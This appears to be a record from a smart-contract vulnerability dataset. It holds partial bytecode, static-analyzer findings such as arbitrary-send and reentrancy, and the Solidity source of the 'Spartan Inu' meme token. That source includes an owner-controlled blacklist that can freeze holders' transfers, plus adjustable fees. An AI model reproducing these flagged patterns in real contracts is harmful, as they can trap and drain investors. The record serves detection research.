1682018060405250810190610e529190611da9565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610e82816108dd565b600080610e976000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610eff573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f249190611dc6565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610f7d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061080b9190611df4565b6001600160a01b0383166110035760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161086b565b6001600160a01b0382166110645760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161086b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff1615801561110757506001600160a01b03821660009081526005602052604090205460ff16155b801561112357503360009081526005602052604090205460ff16155b61112c57600080fd5b6001600160a01b0383166111905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161086b565b6001600160a01b0382166111f25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161086b565b600081116112545760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161086b565b600080546001600160a01b0385811691161480159061128157506000546001600160a01b03848116911614155b156116dc576009546001600160a01b0385811691161480156112b157506007546001600160a01b03848116911614155b80156112d657506001600160a01b03831660009081526004602052604090205460ff16155b156115525760105460ff1661132d5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e0000000000000000604482015260640161086b565b600f5442141561135b576001600160a01b0383166000908152600560205260409020805460ff191660011790555b42600f5461012c61136c9190611e11565b11156113e657600e5461137e846108dd565b6113889084611e11565b11156113e65760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161086b565b6001600160a01b03831660009081526006602052604090206001015460ff1661144e576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b42600f5461012c61145f9190611e11565b111561153357600d548211156114b75760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161086b565b6114c242601e611e11565b6001600160a01b038416600090815260066020526040902054106115335760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b606482015260840161086b565b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff1615801561156c575060105460ff165b801561158657506009546001600160a01b03858116911614155b156116dc5761159642600f611e11565b6001600160a01b038516600090815260066020526040902054106116085760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b606482015260840161086b565b6000611613306108dd565b905080156116c55760105462010000900460ff161561169657600c5460095460649190611648906001600160a01b03166108dd565b6116529190611e29565b61165c9190611e48565b81111561169657600c546009546064919061167f906001600160a01b03166108dd565b6116899190611e29565b6116939190611e48565b90505b60006116a3600583611e48565b90506116af8183611d2c565b91506116ba816118e9565b6116c382611775565b505b4780156116d5576116d54761173b565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061171e57506001600160a01b03841660009081526004602052604090205460ff165b15611727575060005b6117348585858486611913565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561080b573d6000803e3d6000fd5b6010805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106117b9576117b9611d43565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611812573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118369190611da9565b8160018151811061184957611849611d43565b6001600160a01b03928316602091820292909201015260075461186f9130911684610fa1565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906118a8908590600090869030904290600401611e6a565b600060405180830381600087803b1580156118c257600080fd5b505af11580156118d6573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff0019166101001790556119053061dead836110c5565b506010805461ff0019169055565b600061191f8383611935565b905061192d86868684611959565b505050505050565b600080831561195257821561194d5750600a54611952565b50600b545b9392505050565b6000806119668484611a36565b6001600160a01b038816600090815260026020526040902054919350915061198f908590611d2c565b6001600160a01b0380881660009081526002602052604080822093909355908716815220546119bf908390611e11565b6001600160a01b0386166000908152600260205260409020556119e181611a6a565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611a2691815260200190565b60405180910390a3505050505050565b600080806064611a468587611e29565b611a509190611e48565b90506000611a5e8287611d2c565b96919550909350505050565b30600090815260026020526040902054611a85908290611e11565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611ac557858101830151858201604001528201611aa9565b81811115611ad7576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108da57600080fd5b8035611b0d81611aed565b919050565b60008060408385031215611b2557600080fd5b8235611b3081611aed565b946020939093013593505050565b60008060408385031215611b5157600080fd5b50508035926020909101359150565b600080600060608486031215611b7557600080fd5b8335611b8081611aed565b92506020840135611b9081611aed565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611bca57600080fd5b823567ffffffffffffffff80821115611be257600080fd5b818501915085601f830112611bf657600080fd5b813581811115611c0857611c08611ba1565b8060051b604051601f19603f83011681018181108582111715611c2d57611c2d611ba1565b604052918252848201925083810185019188831115611c4b57600080fd5b938501935b82851015611c7057611c6185611b02565b84529385019392850192611c50565b98975050505050505050565b600060208284031215611c8e57600080fd5b813561195281611aed565b600060208284031215611cab57600080fd5b5035919050565b80151581146108da57600080fd5b600060208284031215611cd257600080fd5b813561195281611cb2565b60008060408385031215611cf057600080fd5b8235611cfb81611aed565b91506020830135611d0b81611aed565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611d3e57611d3e611d16565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611d6d57611d6d611d16565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611dbb57600080fd5b815161195281611aed565b600080600060608486031215611ddb57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611e0657600080fd5b815161195281611cb2565b60008219821115611e2457611e24611d16565b500190565b6000816000190483118215151615611e4357611e43611d16565b500290565b600082611e6557634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611eba5784516001600160a01b031683529383019391830191600101611e95565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220d23d62e0b99dd85508617695e338895937059c0abf61a8245af1558ebd052b3464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tx-origin", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 3,243 |
0x51a1130e568cba803b2ccdf2e89b268b553a848e
|
/**
*Submitted for verification at Etherscan.io on 2022-03-27
*/
// SPDX-License-Identifier: Unlicensed
//SPARTANINU
//https://t.me/spartaninu
//Madness...? THIS IS SPARTA!!!
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract SPARTANINU is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Spartan Inu";
string private constant _symbol = "SPARTANINU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping (address => uint256) private _buyMap;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e10 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
mapping(address => bool) private _isSniper;
uint256 public launchTime;
uint256 private _redisFeeJeets = 4;
uint256 private _taxFeeJeets = 4;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 4;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _burnFee = 4;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
uint256 private _previousburnFee = _burnFee;
address payable private _marketingAddress = payable(0xD85a8fE54A2e0074891ab1600b2e6F8BCFD2AF72);
address public constant deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public timeJeets = 2 minutes;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
bool private isMaxBuyActivated = true;
uint256 public _maxTxAmount = 2e8 * 10**9;
uint256 public _maxWalletSize = 2e8 * 10**9;
uint256 public _swapTokensAtAmount = 1000 * 10**9;
uint256 public _minimumBuyAmount = 1e8 * 10**9 ;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[deadAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function createPair() external onlyOwner{
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_previousburnFee = _burnFee;
_redisFee = 0;
_taxFee = 0;
_burnFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
if (isMaxBuyActivated) {
if (block.timestamp <= launchTime + 20 minutes) {
require(amount <= _minimumBuyAmount, "Amount too much");
}
}
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) {
_redisFee = _redisFeeJeets;
_taxFee = _taxFeeJeets;
} else {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner {
isMaxBuyActivated = _isMaxBuyActivated;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
require(maxTxAmount >= 5e7 * 10**9, "Maximum transaction amount must be greater than 0.5%");
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
require(maxWalletSize >= _maxWalletSize);
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
require(amountBuy >= 0 && amountBuy <= 13);
require(amountSell >= 0 && amountSell <= 13);
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
require(amountRefBuy >= 0 && amountRefBuy <= 10);
require(amountRefSell >= 0 && amountRefSell <= 10);
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
require(amount >= 0 && amount <= 1);
_burnFee = amount;
}
function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner {
require(amountRedisJeets >= 0 && amountRedisJeets <= 1);
require(amountTaxJeets >= 0 && amountTaxJeets <= 19);
_redisFeeJeets = amountRedisJeets;
_taxFeeJeets = amountTaxJeets;
}
function setTimeJeets(uint256 hoursTime) external onlyOwner {
require(hoursTime >= 0 && hoursTime <= 4);
timeJeets = hoursTime * 1 hours;
}
}
|
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e14610668578063e0f9f6a0146106ae578063ea1644d5146106ce578063f2fde38b146106ee578063fe72c3c11461070e57600080fd5b80639e78fb4f146105d35780639ec350ed146105e85780639f13157114610608578063a9059cbb14610628578063c55284901461064857600080fd5b80637d1db4a5116100f25780637d1db4a514610536578063881dce601461054c5780638da5cb5b1461056c5780638f9a55c01461058a57806395d89b41146105a057600080fd5b8063715018a6146104d657806374010ece146104eb578063790ca4131461050b5780637c519ffb1461052157600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b381461044b5780636b9cf5341461046b5780636d8aa8f8146104815780636fc3eaec146104a157806370a08231146104b657600080fd5b8063313ce567146103af57806333251a0b146103cb57806338eea22d146103eb57806349bd5a5e1461040b5780634bf2c7c91461042b57600080fd5b806318160ddd116101f857806318160ddd1461031c57806323b872dd1461034157806327c8f8351461036157806328bb665a146103775780632fd689e31461039957600080fd5b806306fdde0314610235578063095ea7b31461027b5780630f3a325f146102ab5780631694505e146102e457600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600b81526a5370617274616e20496e7560a81b60208201525b6040516102729190612228565b60405180910390f35b34801561028757600080fd5b5061029b6102963660046120d3565b610724565b6040519015158152602001610272565b3480156102b757600080fd5b5061029b6102c636600461201f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102f057600080fd5b50601954610304906001600160a01b031681565b6040516001600160a01b039091168152602001610272565b34801561032857600080fd5b50678ac7230489e800005b604051908152602001610272565b34801561034d57600080fd5b5061029b61035c366004612092565b61073b565b34801561036d57600080fd5b5061030461dead81565b34801561038357600080fd5b506103976103923660046120ff565b6107a4565b005b3480156103a557600080fd5b50610333601d5481565b3480156103bb57600080fd5b5060405160098152602001610272565b3480156103d757600080fd5b506103976103e636600461201f565b610843565b3480156103f757600080fd5b50610397610406366004612206565b6108b2565b34801561041757600080fd5b50601a54610304906001600160a01b031681565b34801561043757600080fd5b506103976104463660046121ed565b610903565b34801561045757600080fd5b5061039761046636600461201f565b610940565b34801561047757600080fd5b50610333601e5481565b34801561048d57600080fd5b5061039761049c3660046121cb565b61099a565b3480156104ad57600080fd5b506103976109e2565b3480156104c257600080fd5b506103336104d136600461201f565b610a0c565b3480156104e257600080fd5b50610397610a2e565b3480156104f757600080fd5b506103976105063660046121ed565b610aa2565b34801561051757600080fd5b50610333600a5481565b34801561052d57600080fd5b50610397610b45565b34801561054257600080fd5b50610333601b5481565b34801561055857600080fd5b506103976105673660046121ed565b610b9f565b34801561057857600080fd5b506000546001600160a01b0316610304565b34801561059657600080fd5b50610333601c5481565b3480156105ac57600080fd5b5060408051808201909152600a8152695350415254414e494e5560b01b6020820152610265565b3480156105df57600080fd5b50610397610c1b565b3480156105f457600080fd5b50610397610603366004612206565b610e00565b34801561061457600080fd5b506103976106233660046121cb565b610e51565b34801561063457600080fd5b5061029b6106433660046120d3565b610e99565b34801561065457600080fd5b50610397610663366004612206565b610ea6565b34801561067457600080fd5b50610333610683366004612059565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106ba57600080fd5b506103976106c93660046121ed565b610ef7565b3480156106da57600080fd5b506103976106e93660046121ed565b610f41565b3480156106fa57600080fd5b5061039761070936600461201f565b610f7f565b34801561071a57600080fd5b5061033360185481565b6000610731338484611069565b5060015b92915050565b600061074884848461118d565b61079a84336107958560405180606001604052806028815260200161242d602891396001600160a01b038a16600090815260056020908152604080832033845290915290205491906118b4565b611069565b5060019392505050565b6000546001600160a01b031633146107d75760405162461bcd60e51b81526004016107ce9061227d565b60405180910390fd5b60005b815181101561083f576001600960008484815181106107fb576107fb6123eb565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610837816123ba565b9150506107da565b5050565b6000546001600160a01b0316331461086d5760405162461bcd60e51b81526004016107ce9061227d565b6001600160a01b03811660009081526009602052604090205460ff16156108af576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108dc5760405162461bcd60e51b81526004016107ce9061227d565b600a8211156108ea57600080fd5b600a8111156108f857600080fd5b600d91909155600f55565b6000546001600160a01b0316331461092d5760405162461bcd60e51b81526004016107ce9061227d565b600181111561093b57600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461096057600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109c45760405162461bcd60e51b81526004016107ce9061227d565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b031614610a0257600080fd5b476108af816118ee565b6001600160a01b03811660009081526002602052604081205461073590611928565b6000546001600160a01b03163314610a585760405162461bcd60e51b81526004016107ce9061227d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610acc5760405162461bcd60e51b81526004016107ce9061227d565b66b1a2bc2ec50000811015610b405760405162461bcd60e51b815260206004820152603460248201527f4d6178696d756d207472616e73616374696f6e20616d6f756e74206d7573742060448201527362652067726561746572207468616e20302e352560601b60648201526084016107ce565b601b55565b6000546001600160a01b03163314610b6f5760405162461bcd60e51b81526004016107ce9061227d565b601a54600160a01b900460ff1615610b8657600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610bbf57600080fd5b610bc830610a0c565b8111158015610bd75750600081115b610c125760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ce565b6108af816119ac565b6000546001600160a01b03163314610c455760405162461bcd60e51b81526004016107ce9061227d565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b158015610ca557600080fd5b505afa158015610cb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdd919061203c565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d2557600080fd5b505afa158015610d39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d5d919061203c565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610da557600080fd5b505af1158015610db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddd919061203c565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610e2a5760405162461bcd60e51b81526004016107ce9061227d565b6001821115610e3857600080fd5b6013811115610e4657600080fd5b600b91909155600c55565b6000546001600160a01b03163314610e7b5760405162461bcd60e51b81526004016107ce9061227d565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061073133848461118d565b6000546001600160a01b03163314610ed05760405162461bcd60e51b81526004016107ce9061227d565b600d821115610ede57600080fd5b600d811115610eec57600080fd5b600e91909155601055565b6000546001600160a01b03163314610f215760405162461bcd60e51b81526004016107ce9061227d565b6004811115610f2f57600080fd5b610f3b81610e10612384565b60185550565b6000546001600160a01b03163314610f6b5760405162461bcd60e51b81526004016107ce9061227d565b601c54811015610f7a57600080fd5b601c55565b6000546001600160a01b03163314610fa95760405162461bcd60e51b81526004016107ce9061227d565b6001600160a01b03811661100e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ce565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1